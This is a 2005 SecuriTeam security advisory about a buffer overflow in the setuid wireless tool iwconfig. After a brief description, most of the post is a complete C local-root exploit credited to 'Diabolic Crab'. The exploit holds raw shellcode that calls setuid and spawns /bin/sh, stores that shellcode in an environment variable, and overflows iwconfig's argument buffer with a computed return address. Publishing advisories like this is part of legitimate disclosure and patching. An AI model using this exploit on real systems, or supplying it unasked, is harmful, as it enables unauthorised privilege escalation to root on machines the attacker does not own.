[EXPL] Iwconfig Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 08/16/05

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Date: 16 Aug 2005 17:07:26 +0200

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      Iwconfig Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    Iwconfig "is similar to ifconfig, but is dedicated to the wireless
    interfaces. It is used to set the parameters of the network interface
    which are specific to the wireless operation". A buffer overflow
    vulnerability in iwconfig allows a local attacker to gain root privileges
    wherever the program is installed with setuid privileges.

    DETAILS

    Exploit Code:
    //Diabolic Crab's Local Root Exploit
    ///usr/sbin/iwconfig or /sbin/iwconfig
    //dcrab@hackerscenter.com
    //www.hackerscenter.com

    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>

    char shellcode[]=
            "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
            "\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
            "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
            "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
            "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
            "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
            "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
            "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

    int main(int argc,char **argv){
       char buf[96];
       unsigned long ret;
       int i;

       char *prog[]={"/sbin/iwconfig",buf,NULL};
       char *env[]={"EGG=",shellcode,NULL};

       ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
       printf("use ret addr: 0x%x\n",ret);

       memset(buf,0x41,sizeof(buf));
       memcpy(&buf[92],&ret,4);

       execve(prog[0],prog,env);

      }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dcrab@hackerscenter.com>
    Dcrab.
    The original article can be found at:
    <http://icis.digitalparadox.org/~dcrab/dc_iwconfig.c>
    http://icis.digitalparadox.org/~dcrab/dc_iwconfig.c

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